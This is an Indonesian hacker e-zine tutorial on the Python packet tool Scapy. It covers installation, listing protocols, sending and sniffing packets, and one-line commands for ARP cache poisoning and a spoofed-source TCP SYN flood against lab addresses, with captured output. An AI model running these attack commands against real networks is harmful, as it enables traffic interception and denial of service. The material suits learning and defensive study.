.__ .___ ____ _____ ____ _________ ___________ |__| __| _/ / _ \ / \_/ __ \ / ___\__ \ / _ \_ __ \ | |/ __ | ( <_> ) Y Y \ ___// /_/ > __ \_ ( <_> ) | \/ | / /_/ | \____/|__|_| /\___ >___ (____ / /\____/|__| /\__\____ | \/ \/_____/ \/ \/ \/ \/ OMEGA|ZINE RELEASE 03 Author: stu_pid || im_stupid@ymail.com Online @ www.omega.or.id :: http://ezine.omega.or.id == Berkenalan dengan Scapy == PENDAHULUAN ----------- Scapy adalah program yang di buat dengan bahasa python dan digunakan untuk melakukan kegiatan sniffing, manipulasi paket data, tracerouting, maupun hacking. Scapy dapat di unduh http://www.secdev.org/projects/scapy/. PERSIAPAN --------- Untuk menginstall scapy di butuhkan python 2.x dan perlu di ketahui scapy memberikan paket opsional untuk memperbanyak kegunaan didalamnya (py-crypto, gnuplot, py-gnuplot, graphviz, py-pyx, ethertypes, python-bz2). Bagi pengguna gentoo linux dapat melakukan installasi scapy melalui port emerge. |----------------------------- |submarine ~ #emerge -av scapy |----------------------------- Untuk menjalankannya pun simple, hanya mengetikkan 'scapy' saja pada terminal |----------------------------- |submarine ~ # scapy |WARNING: No route found for IPv6 destination :: (no default route?) |Welcome to Scapy (2.1.0) |>>> |----------------------------- UJI COBA -------- perintah/fungsi di dalam scapy yang harus di ingat adalah fungsi ls() dan lsc(). ls() menampilkan informasi protokol yang di dukung scapy. |-------------------------- |>>> ls() |ARP : ARP |ASN1_Packet : None |BOOTP : BOOTP |CookedLinux : cooked linux |DHCP : DHCP options |DHCP6 : DHCPv6 Generic Message) |DHCP6OptAuth : DHCP6 Option - Authentication |DHCP6OptBCMCSDomains : DHCP6 Option - BCMCS Domain Name List |DHCP6OptBCMCSServers : DHCP6 Option - BCMCS Addresses List |DHCP6OptClientFQDN : DHCP6 Option - Client FQDN |DHCP6OptClientId : DHCP6 Client Identifier Option |........ |--------------------------- untuk melihat lebih detil tentang informasi protokol yang ada ls() dapat dilakukan dengan ls(nama_object). |----------------------- |>>> ls(IP) |version : BitField = (4) |ihl : BitField = (None) |tos : XByteField = (0) |len : ShortField = (None) |id : ShortField = (1) |flags : FlagsField = (0) |frag : BitField = (0) |ttl : ByteField = (64) |proto : ByteEnumField = (0) |chksum : XShortField = (None) |src : Emph = (None) |dst : Emph = ('127.0.0.1') |options : PacketListField = ([]) |----------------------- Sedangkan untuk menampilkan seluruh list fungsi/perintah dalam scapy dapat menggunakan lsc(). |----------------------- |>>> lsc() |arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple |arping : Send ARP who-has requests to determine which hosts are up |bind_layers : Bind 2 layers on some specific fields' values |corrupt_bits : Flip a given percentage or number of bits from a string |corrupt_bytes : Corrupt a given percentage or number of bytes from a string |defrag : defrag(plist) -> ([not fragmented], [defragmented], |defragment : defrag(plist) -> plist defragmented as much as possible |dyndns_add : Send a DNS add message to a nameserver for "name" to have \a new "rdata" |dyndns_del : Send a DNS delete message to a nameserver for "name" |etherleak : Exploit Etherleak flaw |fragment : Fragment a big IP datagram |.............. |----------------------- /*Mengirim paket lewat protokol TCP*/ Untuk melakukan pengiriman paket data lewat protokol TCP dibutuhkan source port, destination port, source ip, destination ip, serta paket Raw data yang ingin di transmisikan. Sedangkan untuk mengirimkan paket pada layer 3 digunakan fungsi send(). |------------ |>>> send(IP(dst='192.168.10.1', src='192.168.10.8')/TCP(sport=1337, | dport=31337)/'paket \cinta, jangan sampai rusak di jalan ya.. ;)') | . | Sent 1 packets. |>>> |------------ Untuk melakukan sniffing di scapy digunakan fungsi sniff() yang akan mengcapture paket secara terus menerus, oleh karena itu jika ingin membatasi jumlah paket yang di capture digunakan sniff(count=nilai). Simbol (_) di dalam python digunakan sebagai nilai terakhir dari paket yang dicapture dengan sniff(). object display() digunakan untuk mencetak isi dari "_" pada interpreter python, sedangkan hexraw() digunakan untuk men decode paket Raw Data "saja" yang masih berupa hexadecimal. |--------------------------------------- |>>> sniff() |^C |>>> _.display() |0000 Ether / IP / TCP 192.168.10.8:1337 > 192.168.10.1:31337 S / Raw |0001 Ether / IP / TCP 192.168.10.1:31337 > 192.168.10.8:1337 RA / Padding |>>> _.hexraw() |0000 04:40:57.016356 Ether / IP / TCP 192.168.10.8:1337 > 192.168.10.1:31337 S / \Raw |0000 70 61 6B 65 74 20 63 69 6E 74 61 2C 20 6A 61 6E paket cinta, jan |0010 67 61 6E 20 73 61 6D 70 61 69 20 72 75 73 61 6B gan sampai rusak |0020 20 64 69 20 6A 61 6C 61 6E 20 79 61 2E 2E 20 3B di jalan ya.. ; |0030 29 ) |0001 04:40:57.016899 Ether / IP / TCP 192.168.10.1:31337 > 192.168.10.8:1337 RA / \Padding |>>> |--------------------------------------- /*ARP CACHE POISONING*/ Scapy memberikan kemudahan dalam melakukan arp cache poisoning, dengan menggunakan arpcachepoison(ipkorban, iptarget, interval=1). |------------ |>>>arpcachepoison('192.168.10.1','192.168.10.8', interval=1) |------------ Berikut adalah hasil sniff dari scapy untuk menganalisa adanya serangan arp cache poisoning. |------------------------ |>>> sniff(count=10) | |>>> _.display() |0000 Ether / ARP who has 192.168.10.1 says 192.168.10.8 |0001 Ether / ARP is at 08:00:27:0e:91:2d says 192.168.10.1 / Padding |0002 Ether / ARP who has 192.168.10.1 says 192.168.10.8 |0003 Ether / ARP is at 08:00:27:0e:91:2d says 192.168.10.1 / Padding |0004 Ether / ARP who has 192.168.10.1 says 192.168.10.8 |0005 Ether / ARP is at 08:00:27:0e:91:2d says 192.168.10.1 / Padding |0006 Ether / ARP who has 192.168.10.1 says 192.168.10.8 |0007 Ether / ARP is at 08:00:27:0e:91:2d says 192.168.10.1 / Padding |0008 Ether / ARP who has 192.168.10.1 says 192.168.10.8 |0009 Ether / ARP is at 08:00:27:0e:91:2d says 192.168.10.1 / Padding |------------------------ */TCP SYN Flooding Attack*/ TCP syn flooding attack merupakan serangan Denial Of Services yang di harapkan mampu melumpuhkan server dengan mengirimkan paket syn secara terus menerus tanpa merespon kembali syn-ack dari server. IP pengirim disengaja menggunakan RandIP() untuk mengacak IP kelas C yang di masukkan, sehingga pengirim asli sulit untuk dilacak. ___________ SYN ___________ | | ------------> | | | | | | | ATTACKER | SYN-ACK | TARGET | | | <------------ | | | | | | | | SYN | | | | ------------> | | |___________| |___________| |------------- |>>>send(IP(src=RandIP('192.168.10.0/24'),dst='192.168.10.1')/TCP(sport= \RandShort() ,dport=80),count=100) |------------- Berikut hasil sniffing menggunakan scapy, dimana alamat ip dan nomor port attacker di acak. |---------------- |>>>sniff(count=10) | |>>> _.display() |0000 Ether / IP / TCP 192.168.10.212:58199 > 192.168.10.1:www S |0001 Ether / IP / TCP 192.168.10.253:45480 > 192.168.10.1:www S |0002 Ether / ARP who has 192.168.10.253 says 192.168.10.1 / Padding |0003 Ether / IP / TCP 192.168.10.0:44604 > 192.168.10.1:www S |0004 Ether / IP / TCP 192.168.10.21:7474 > 192.168.10.1:www S |0005 Ether / ARP who has 192.168.10.21 says 192.168.10.1 / Padding |0006 Ether / IP / TCP 192.168.10.137:31568 > 192.168.10.1:www S |0007 Ether / IP / TCP 192.168.10.154:1696 > 192.168.10.1:www S |0008 Ether / IP / TCP 192.168.10.157:252 > 192.168.10.1:www S |0009 Ether / IP / TCP 192.168.10.70:12435 > 192.168.10.1:www S |>>> |--------------- Bagi para python coder untuk melakukan import scapy pada scapy versi 2.x digunakan |------------------------ |from scapy.all import * |------------------------ PENUTUP ------- Scapy sangat cocok digunakan untuk orang yang baru belajar maupun yang sudah mahir di jaringan karena dukungan dari bahasa python yang mudah dipelajari dan kemampuan scapy yang powerfull, mampu digunakan sebagai sniffer, scanner, manipulasi paket, dan fuzzer. Referensi --------- [0] http://www.secdev.org/projects/scapy/ [1] http://ezine.echo.or.id/ezine19/e19.009.txt [2] http://www.secdev.org/projects/scapy/doc/usage.html [3] http://google.com/ Greetz to : [0] Allah SWt [1] poniman_coy, omicron9194, gitulaw, chapunx23b [2] k-159, lirva32, y3dips , all echo|staff, and echo members